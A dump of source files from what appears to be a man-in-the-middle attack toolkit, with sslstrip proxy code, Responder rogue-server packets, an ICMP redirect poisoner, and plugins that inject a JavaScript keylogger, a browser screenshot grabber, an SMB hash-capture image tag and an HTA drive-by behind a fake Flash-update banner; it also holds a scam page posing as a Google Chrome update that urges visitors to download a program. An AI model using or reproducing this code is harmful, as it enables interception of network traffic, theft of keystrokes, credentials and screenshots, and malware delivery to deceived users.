37 | fields = OrderedDict([
38 | ("Code", "* OK IMAP4 service is ready."),
39 | ("CRLF", "\r\n"),
40 | ])
41 |
42 | #IMAP4 Capability class
43 | class IMAPCapability(Packet):
44 | fields = OrderedDict([
45 | ("Code", "* CAPABILITY IMAP4 IMAP4rev1 AUTH=PLAIN"),
46 | ("CRLF", "\r\n"),
47 | ])
48 |
49 | #IMAP4 Capability class
50 | class IMAPCapabilityEnd(Packet):
51 | fields = OrderedDict([
52 | ("Tag", ""),
53 | ("Message", " OK CAPABILITY completed."),
54 | ("CRLF", "\r\n"),
55 | ])
56 |
--------------------------------------------------------------------------------
/sniffer/core/sslstrip/DnsCache.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati
2 | #
3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 |
19 | import logging
20 | from core.logger import logger
21 |
22 | formatter = logging.Formatter("%(asctime)s [DnsCache] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
23 | log = logger().setup_logger("DnsCache", formatter)
24 |
25 | class DnsCache:
26 |
27 | '''
28 | The DnsCache maintains a cache of DNS lookups, mirroring the browser experience.
29 | '''
30 |
31 | _instance = None
32 |
33 | def __init__(self):
34 | self.customAddress = None
35 | self.cache = {}
36 |
37 | @staticmethod
38 | def getInstance():
39 | if DnsCache._instance == None:
40 | DnsCache._instance = DnsCache()
41 |
42 | return DnsCache._instance
43 |
44 | def cacheResolution(self, host, address):
45 | self.cache[host] = address
46 |
47 | def getCachedAddress(self, host):
48 | if host in self.cache:
49 | return self.cache[host]
50 |
51 | return None
52 |
53 | def setCustomRes(self, host, ip_address=None):
54 | if ip_address is not None:
55 | self.cache[host] = ip_address
56 | log.debug("DNS entry set: %s -> %s" %(host, ip_address))
57 | else:
58 | if self.customAddress is not None:
59 | self.cache[host] = self.customAddress
60 |
61 | def setCustomAddress(self, ip_address):
62 | self.customAddress = ip_address
63 |
--------------------------------------------------------------------------------
/sniffer/tests/basic_tests.py:
--------------------------------------------------------------------------------
1 | import unittest
2 | import threading
3 | import logging
4 |
5 | class BasicTests(unittest.TestCase):
6 |
7 | def test_configfile(self):
8 | from configobj import ConfigObj
9 | config = ConfigObj('config/mitmf.conf')
10 |
11 | def test_logger(self):
12 | from core.logger import logger
13 | logger.log_level = logging.DEBUG
14 | formatter = logging.Formatter("%(asctime)s [unittest] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
15 | log = logger().setup_logger("unittest", formatter)
16 |
17 | def test_DNSChef(self):
18 | from core.logger import logger
19 | logger.log_level = logging.DEBUG
20 | from core.servers.DNS import DNSChef
21 | DNSChef().start()
22 |
23 | def test_NetCreds(self):
24 | from core.logger import logger
25 | logger.log_level = logging.DEBUG
26 | from core.netcreds import NetCreds
27 | NetCreds().start('venet0:0', '172.30.96.18')
28 |
29 | def test_SSLStrip_Proxy(self):
30 | favicon = True
31 | preserve_cache = True
32 | killsessions = True
33 | listen_port = 10000
34 |
35 | from twisted.web import http
36 | from twisted.internet import reactor
37 | from core.sslstrip.CookieCleaner import CookieCleaner
38 | from core.proxyplugins import ProxyPlugins
39 | from core.sslstrip.StrippingProxy import StrippingProxy
40 | from core.sslstrip.URLMonitor import URLMonitor
41 |
42 | URLMonitor.getInstance().setFaviconSpoofing(favicon)
43 | URLMonitor.getInstance().setCaching(preserve_cache)
44 | CookieCleaner.getInstance().setEnabled(killsessions)
45 |
46 | strippingFactory = http.HTTPFactory(timeout=10)
47 | strippingFactory.protocol = StrippingProxy
48 |
49 | reactor.listenTCP(listen_port, strippingFactory)
50 |
51 | #ProxyPlugins().all_plugins = plugins
52 | t = threading.Thread(name='sslstrip_test', target=reactor.run)
53 | t.setDaemon(True)
54 | t.start()
55 |
56 | if __name__ == '__main__':
57 | unittest.main()
--------------------------------------------------------------------------------
/sniffer/core/ferretng/ServerConnectionFactory.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati
2 | #
3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 |
19 | import logging
20 | from core.logger import logger
21 | from twisted.internet.protocol import ClientFactory
22 |
23 | formatter = logging.Formatter("%(asctime)s [Ferret-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
24 | log = logger().setup_logger("Ferret_ServerConnectionFactory", formatter)
25 |
26 | class ServerConnectionFactory(ClientFactory):
27 |
28 | def __init__(self, command, uri, postData, headers, client):
29 | self.command = command
30 | self.uri = uri
31 | self.postData = postData
32 | self.headers = headers
33 | self.client = client
34 |
35 | def buildProtocol(self, addr):
36 | return self.protocol(self.command, self.uri, self.postData, self.headers, self.client)
37 |
38 | def clientConnectionFailed(self, connector, reason):
39 | log.debug("Server connection failed.")
40 |
41 | destination = connector.getDestination()
42 |
43 | if (destination.port != 443):
44 | log.debug("Retrying via SSL")
45 | self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443)
46 | else:
47 | try:
48 | self.client.finish()
49 | except:
50 | pass
51 |
--------------------------------------------------------------------------------
/sniffer/core/sslstrip/ServerConnectionFactory.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati
2 | #
3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 |
19 | import logging
20 |
21 | from core.logger import logger
22 | from twisted.internet.protocol import ClientFactory
23 |
24 | formatter = logging.Formatter("%(asctime)s [ServerConnectionFactory] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
25 | log = logger().setup_logger("ServerConnectionFactory", formatter)
26 |
27 | class ServerConnectionFactory(ClientFactory):
28 |
29 | def __init__(self, command, uri, postData, headers, client):
30 | self.command = command
31 | self.uri = uri
32 | self.postData = postData
33 | self.headers = headers
34 | self.client = client
35 |
36 | def buildProtocol(self, addr):
37 | return self.protocol(self.command, self.uri, self.postData, self.headers, self.client)
38 |
39 | def clientConnectionFailed(self, connector, reason):
40 | log.debug("Server connection failed.")
41 |
42 | destination = connector.getDestination()
43 |
44 | if (destination.port != 443):
45 | log.debug("Retrying via SSL")
46 | self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443)
47 | else:
48 | try:
49 | self.client.finish()
50 | except:
51 | pass
52 |
--------------------------------------------------------------------------------
/sniffer/plugins/replace.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2014-2016 Marcello Salvati
2 | #
3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 |
19 | """
20 |
21 | Original plugin by @rthijssen
22 |
23 | """
24 |
25 | import re
26 | from plugins.plugin import Plugin
27 |
28 | class Replace(Plugin):
29 | name = "Replace"
30 | optname = "replace"
31 | desc = "Replace arbitrary content in HTML content"
32 | version = "0.2"
33 |
34 | def initialize(self, options):
35 | self.options = options
36 |
37 | def response(self, response, request, data):
38 | mime = response.responseHeaders.getRawHeaders('Content-Type')[0]
39 | hn = response.getRequestHostname()
40 |
41 | if "text/html" in mime:
42 |
43 | for rulename, regexs in self.config['Replace'].iteritems():
44 | for regex1,regex2 in regexs.iteritems():
45 | if re.search(regex1, data):
46 | try:
47 | data = re.sub(regex1, regex2, data)
48 |
49 | self.clientlog.info("occurances matching '{}' replaced with '{}' according to rule '{}'".format(regex1, regex2, rulename), extra=request.clientInfo)
50 | except Exception:
51 | self.log.error("Your provided regex ({}) or replace value ({}) is empty or invalid. Please debug your provided regex(es) in rule '{}'".format(regex1, regex2, rulename))
52 |
53 | return {'response': response, 'request': request, 'data': data}
54 |
--------------------------------------------------------------------------------
/sniffer/core/poisoners/ICMP.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2014-2016 Marcello Salvati
2 | #
3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 |
19 | import logging
20 | import threading
21 |
22 | from time import sleep
23 | from core.logger import logger
24 | from scapy.all import IP, ICMP, UDP, sendp
25 |
26 | formatter = logging.Formatter("%(asctime)s [ICMPpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
27 | log = logger().setup_logger("ICMPpoisoner", formatter)
28 |
29 | class ICMPpoisoner():
30 |
31 | def __init__(self, options):
32 |
33 | self.target = options.target
34 | self.gateway = options.gateway
35 | self.interface = options.interface
36 | self.ip_address = options.ip
37 | self.debug = False
38 | self.send = True
39 | self.icmp_interval = 2
40 |
41 | def build_icmp(self):
42 | pkt = IP(src=self.gateway, dst=self.target)/ICMP(type=5, code=1, gw=self.ip_address) /\
43 | IP(src=self.target, dst=self.gateway)/UDP()
44 |
45 | return pkt
46 |
47 | def start(self):
48 | pkt = self.build_icmp()
49 |
50 | t = threading.Thread(name='icmp_spoof', target=self.send_icmps, args=(pkt, self.interface, self.debug,))
51 | t.setDaemon(True)
52 | t.start()
53 |
54 | def stop(self):
55 | self.send = False
56 | sleep(3)
57 |
58 | def send_icmps(self, pkt, interface, debug):
59 | while self.send:
60 | sendp(pkt, inter=self.icmp_interval, iface=interface, verbose=debug)
61 |
--------------------------------------------------------------------------------
/sniffer/plugins/htadriveby.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2014-2016 Marcello Salvati
2 | #
3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 |
19 | import re
20 |
21 | from plugins.plugin import Plugin
22 | from plugins.inject import Inject
23 |
24 | class HTADriveBy(Inject, Plugin):
25 | name = 'HTA Drive-By'
26 | desc = 'Performs HTA drive-by attacks on clients'
27 | optname = 'hta'
28 | ver = '0.1'
29 |
30 | def initialize(self, options):
31 | self.bar_text = options.text
32 | self.ip = options.ip
33 | self.hta = options.hta_app.split('/')[-1]
34 | Inject.initialize(self, options)
35 | self.html_payload = self.get_payload()
36 |
37 | from core.servers.HTTP import HTTP
38 | HTTP.add_static_endpoint(self.hta, "application/hta", options.hta_app)
39 |
40 | def get_payload(self):
41 | with open("./core/html/htadriveby.html", 'r') as file:
42 | payload = re.sub("_TEXT_GOES_HERE_", self.bar_text, file.read())
43 | payload = re.sub("_IP_GOES_HERE_", self.ip, payload)
44 | payload = re.sub("_PAYLOAD_GOES_HERE_", self.hta, payload)
45 | return payload
46 |
47 | def options(self, options):
48 | options.add_argument('--text', type=str, default='The Adobe Flash Player plug-in was blocked because it is out of date.', help="Text to display on notification bar")
49 | options.add_argument('--hta-app', type=str, default='./config/hta_driveby/flash_setup.hta', help='Path to HTA application [defaults to config/hta_driveby/flash_setup.hta]')
50 |
--------------------------------------------------------------------------------
/sniffer/core/html/htadriveby.html:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/sniffer/core/responder/fingerprint.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # This file is part of Responder
3 | # Original work by Laurent Gaffie - Trustwave Holdings
4 | #
5 | # This program is free software: you can redistribute it and/or modify
6 | # it under the terms of the GNU General Public License as published by
7 | # the Free Software Foundation, either version 3 of the License, or
8 | # (at your option) any later version.
9 | #
10 | # This program is distributed in the hope that it will be useful,
11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | # GNU General Public License for more details.
14 | #
15 | # You should have received a copy of the GNU General Public License
16 | # along with this program. If not, see .
17 | import re
18 | import sys
19 | import socket
20 | import struct
21 | import string
22 | import logging
23 |
24 | from utils import *
25 | from odict import OrderedDict
26 | from packets import SMBHeader, SMBNego, SMBNegoFingerData, SMBSessionFingerData
27 |
28 | def OsNameClientVersion(data):
29 | try:
30 | length = struct.unpack('i", len(''.join(Packet)))+Packet
50 | s.send(Buffer)
51 | data = s.recv(2048)
52 |
53 | if data[8:10] == "\x72\x00":
54 | Header = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
55 | Body = SMBSessionFingerData()
56 | Body.calculate()
57 |
58 | Packet = str(Header)+str(Body)
59 | Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
60 |
61 | s.send(Buffer)
62 | data = s.recv(2048)
63 |
64 | if data[8:10] == "\x73\x16":
65 | return OsNameClientVersion(data)
66 | except:
67 | settings.Config.AnalyzeLogger.warning("Fingerprint failed for host: {}".format(host))
68 | return None
69 |
--------------------------------------------------------------------------------
/sniffer/plugins/jskeylogger.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python2.7
2 |
3 | # Copyright (c) 2014-2016 Marcello Salvati
4 | #
5 | # This program is free software; you can redistribute it and/or
6 | # modify it under the terms of the GNU General Public License as
7 | # published by the Free Software Foundation; either version 3 of the
8 | # License, or (at your option) any later version.
9 | #
10 | # This program is distributed in the hope that it will be useful, but
11 | # WITHOUT ANY WARRANTY; without even the implied warranty of
12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
13 | # General Public License for more details.
14 | #
15 | # You should have received a copy of the GNU General Public License
16 | # along with this program; if not, write to the Free Software
17 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
18 | # USA
19 | #
20 |
21 | from plugins.inject import Inject
22 | from plugins.plugin import Plugin
23 |
24 | class JSKeylogger(Inject, Plugin):
25 | name = "JSKeylogger"
26 | optname = "jskeylogger"
27 | desc = "Injects a javascript keylogger into clients webpages"
28 | version = "0.2"
29 |
30 | def initialize(self, options):
31 | Inject.initialize(self, options)
32 | self.js_file = "./core/javascript/msfkeylogger.js"
33 |
34 | def request(self, request):
35 | if 'keylog' in request.uri:
36 | request.handle_post_output = True
37 |
38 | raw_keys = request.postData.split("&&")[0]
39 | input_field = request.postData.split("&&")[1]
40 |
41 | keys = raw_keys.split(",")
42 | if keys:
43 | del keys[0]; del(keys[len(keys)-1])
44 |
45 | nice = ''
46 | for n in keys:
47 | if n == '9':
48 | nice += ""
49 | elif n == '8':
50 | nice = nice[:-1]
51 | elif n == '13':
52 | nice = ''
53 | else:
54 | try:
55 | nice += unichr(int(n))
56 | except:
57 | self.clientlog.error("Error decoding char: {}".format(n), extra=request.clientInfo)
58 |
59 | self.clientlog.info(u"Host: {} | Field: {} | Keys: {}".format(request.headers['host'], input_field, nice), extra=request.clientInfo)
60 |
61 | def options(self, options):
62 | pass
63 |
--------------------------------------------------------------------------------
/sniffer/plugins/imagerandomizer.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2014-2016 Marcello Salvati
2 | #
3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 |
19 | import random
20 | import os
21 | from plugins.plugin import Plugin
22 |
23 | class ImageRandomizer(Plugin):
24 | name = "ImageRandomizer"
25 | optname = "imgrand"
26 | desc = 'Replaces images with a random one from a specified directory'
27 | version = "0.1"
28 |
29 | def initialize(self, options):
30 | self.options = options
31 | self.img_dir = options.img_dir
32 |
33 | def responseheaders(self, response, request):
34 | '''Kill the image skipping that's in place for speed reasons'''
35 | if request.isImageRequest:
36 | request.isImageRequest = False
37 | request.isImage = True
38 | self.imageType = response.responseHeaders.getRawHeaders('content-type')[0].split('/')[1].upper()
39 |
40 | def response(self, response, request, data):
41 | try:
42 | isImage = getattr(request, 'isImage')
43 | except AttributeError:
44 | isImage = False
45 |
46 | if isImage:
47 | try:
48 | img = random.choice(os.listdir(self.options.img_dir))
49 | with open(os.path.join(self.options.img_dir, img), 'rb') as img_file:
50 | data = img_file.read()
51 | self.clientlog.info("Replaced image with {}".format(img), extra=request.clientInfo)
52 | return {'response': response, 'request': request, 'data': data}
53 | except Exception as e:
54 | self.clientlog.info("Error: {}".format(e), extra=request.clientInfo)
55 |
56 | def options(self, options):
57 | options.add_argument("--img-dir", type=str, metavar="DIRECTORY", help="Directory with images")
--------------------------------------------------------------------------------
/sniffer/plugins/screenshotter.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python2.7
2 |
3 | # Copyright (c) 2014-2016 Marcello Salvati
4 | #
5 | # This program is free software; you can redistribute it and/or
6 | # modify it under the terms of the GNU General Public License as
7 | # published by the Free Software Foundation; either version 3 of the
8 | # License, or (at your option) any later version.
9 | #
10 | # This program is distributed in the hope that it will be useful, but
11 | # WITHOUT ANY WARRANTY; without even the implied warranty of
12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
13 | # General Public License for more details.
14 | #
15 | # You should have received a copy of the GNU General Public License
16 | # along with this program; if not, write to the Free Software
17 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
18 | # USA
19 | #
20 |
21 | import base64
22 | import urllib
23 | import re
24 |
25 | from datetime import datetime
26 | from plugins.plugin import Plugin
27 | from plugins.inject import Inject
28 |
29 | class ScreenShotter(Inject, Plugin):
30 | name = 'ScreenShotter'
31 | optname = 'screen'
32 | desc = 'Uses HTML5 Canvas to render an accurate screenshot of a clients browser'
33 | ver = '0.1'
34 |
35 | def initialize(self, options):
36 | Inject.initialize(self, options)
37 | self.interval = options.interval
38 | self.js_payload = self.get_payload()
39 |
40 | def request(self, request):
41 | if 'saveshot' in request.uri:
42 | request.handle_post_output = True
43 |
44 | client = request.client.getClientIP()
45 | img_file = '{}-{}-{}.png'.format(client, request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s"))
46 | try:
47 | with open('./logs/' + img_file, 'wb') as img:
48 | img.write(base64.b64decode(urllib.unquote(request.postData).decode('utf8').split(',')[1]))
49 | img.close()
50 |
51 | self.clientlog.info('Saved screenshot to {}'.format(img_file), extra=request.clientInfo)
52 | except Exception as e:
53 | self.clientlog.error('Error saving screenshot: {}'.format(e), extra=request.clientInfo)
54 |
55 | def get_payload(self):
56 | return re.sub("SECONDS_GO_HERE", str(self.interval*1000), open("./core/javascript/screenshot.js", "rb").read())
57 |
58 | def options(self, options):
59 | options.add_argument("--interval", dest="interval", type=int, metavar="SECONDS", default=10, help="Interval at which screenshots will be taken (default 10 seconds)")
60 |
--------------------------------------------------------------------------------
/sniffer/plugins/upsidedownternet.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2014-2016 Marcello Salvati
2 | #
3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 |
19 | from cStringIO import StringIO
20 | from plugins.plugin import Plugin
21 | from PIL import Image, ImageFile
22 |
23 | class Upsidedownternet(Plugin):
24 | name = "Upsidedownternet"
25 | optname = "upsidedownternet"
26 | desc = 'Flips images 180 degrees'
27 | version = "0.1"
28 |
29 | def initialize(self, options):
30 | self.options = options
31 |
32 | def responseheaders(self, response, request):
33 | '''Kill the image skipping that's in place for speed reasons'''
34 | if request.isImageRequest:
35 | request.isImageRequest = False
36 | request.isImage = True
37 | self.imageType = response.responseHeaders.getRawHeaders('content-type')[0].split('/')[1].upper()
38 |
39 | def response(self, response, request, data):
40 | try:
41 | isImage = getattr(request, 'isImage')
42 | except AttributeError:
43 | isImage = False
44 |
45 | if isImage:
46 | try:
47 | #For some reason more images get parsed using the parser
48 | #rather than a file...PIL still needs some work I guess
49 | p = ImageFile.Parser()
50 | p.feed(data)
51 | im = p.close()
52 | im = im.transpose(Image.ROTATE_180)
53 | output = StringIO()
54 | im.save(output, format=self.imageType)
55 | data = output.getvalue()
56 | output.close()
57 | self.clientlog.info("Flipped image", extra=request.clientInfo)
58 | except Exception as e:
59 | self.clientlog.info("Error: {}".format(e), extra=request.clientInfo)
60 |
61 | return {'response': response, 'request': request, 'data': data}
62 |
--------------------------------------------------------------------------------
/sniffer/libs/responder/SMTPPackets.py:
--------------------------------------------------------------------------------
1 | #! /usr/bin/env python
2 | # NBT-NS/LLMNR Responder
3 | # Created by Laurent Gaffie
4 | # Copyright (C) 2014 Trustwave Holdings, Inc.
5 | #
6 | # This program is free software: you can redistribute it and/or modify
7 | # it under the terms of the GNU General Public License as published by
8 | # the Free Software Foundation, either version 3 of the License, or
9 | # (at your option) any later version.
10 | #
11 | # This program is distributed in the hope that it will be useful,
12 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | # GNU General Public License for more details.
15 | #
16 | # You should have received a copy of the GNU General Public License
17 | # along with this program. If not, see .
18 | import struct
19 | from odict import OrderedDict
20 |
21 | class Packet():
22 | fields = OrderedDict([
23 | ("data", ""),
24 | ])
25 | def __init__(self, **kw):
26 | self.fields = OrderedDict(self.__class__.fields)
27 | for k,v in kw.items():
28 | if callable(v):
29 | self.fields[k] = v(self.fields[k])
30 | else:
31 | self.fields[k] = v
32 | def __str__(self):
33 | return "".join(map(str, self.fields.values()))
34 |
35 | #SMTP Greating class
36 | class SMTPGreating(Packet):
37 | fields = OrderedDict([
38 | ("Code", "220"),
39 | ("Separator", "\x20"),
40 | ("Message", "smtp01.local ESMTP"),
41 | ("CRLF", "\x0d\x0a"),
42 | ])
43 |
44 | class SMTPAUTH(Packet):
45 | fields = OrderedDict([
46 | ("Code0", "250"),
47 | ("Separator0", "\x2d"),
48 | ("Message0", "smtp01.local"),
49 | ("CRLF0", "\x0d\x0a"),
50 | ("Code", "250"),
51 | ("Separator", "\x20"),
52 | ("Message", "AUTH LOGIN PLAIN XYMCOOKIE"),
53 | ("CRLF", "\x0d\x0a"),
54 | ])
55 |
56 | class SMTPAUTH1(Packet):
57 | fields = OrderedDict([
58 | ("Code", "334"),
59 | ("Separator", "\x20"),
60 | ("Message", "VXNlcm5hbWU6"),#Username
61 | ("CRLF", "\x0d\x0a"),
62 |
63 | ])
64 |
65 | class SMTPAUTH2(Packet):
66 | fields = OrderedDict([
67 | ("Code", "334"),
68 | ("Separator", "\x20"),
69 | ("Message", "UGFzc3dvcmQ6"),#Password
70 | ("CRLF", "\x0d\x0a"),
71 |
72 | ])
73 |
74 |
75 |
--------------------------------------------------------------------------------
/Scame/chrome.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
8 | Google Chrome Update
9 |
10 |
11 |
This page to download the new version of the famous google chrome. You need this new version to become the browsing security in
25 |
26 | the Internet because the Internet contains many malicious viruses that may lead to malfunction your device or steal your personal
27 |
28 | information and photos. Internet will not be back again when unless you download the required runs.
29 |
Why iam see this page
30 |
You are seeing this page because we found that your computer is not secure and vulnerable to penetration at any moment and that your
31 |
32 | data exposed also to theft or loss So you see this page you download google chrome strongest and the fastest and best in the world, Ante virus
33 |
34 | so please download and run the program and then the Internet will also but already the fastest security
35 |
36 |
What should I do
37 |
All you have to do is go to the download section and download the version compatible with your system and your device after download,
38 |
39 | you must open the program and then the Internet will return better and faster than before if your type of program will appear in the Android
40 |
41 | applications on behalf MainActivity
42 |
43 |
Download
44 |
Download the version compatible with your system and with your computer and download and then please turn it back up to the net and you have
45 |
46 | become a safe and better than ever before and thanks
![](\"\\\\%s\\image.jpg\")
'\
34 | '![](\"file://///%s\\image.jpg\")
'\
35 | '![](\"moz-icon:file:///%%5c/%s\\image.jpg\")
' % tuple([self.target_ip]*3)
36 |
--------------------------------------------------------------------------------
/sniffer/libs/responder/FindSQLSrv.py:
--------------------------------------------------------------------------------
1 | #! /usr/bin/python
2 | # Created by Laurent Gaffie
3 | # This file is part of the Responder toolkit.
4 | # Copyright (C) 2014 Trustwave Holdings, Inc.
5 | #
6 | # This program is free software: you can redistribute it and/or modify
7 | # it under the terms of the GNU General Public License as published by
8 | # the Free Software Foundation, either version 3 of the License, or
9 | # (at your option) any later version.
10 | #
11 | # This program is distributed in the hope that it will be useful,
12 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | # GNU General Public License for more details.
15 | #
16 | # You should have received a copy of the GNU General Public License
17 | # along with this program. If not, see 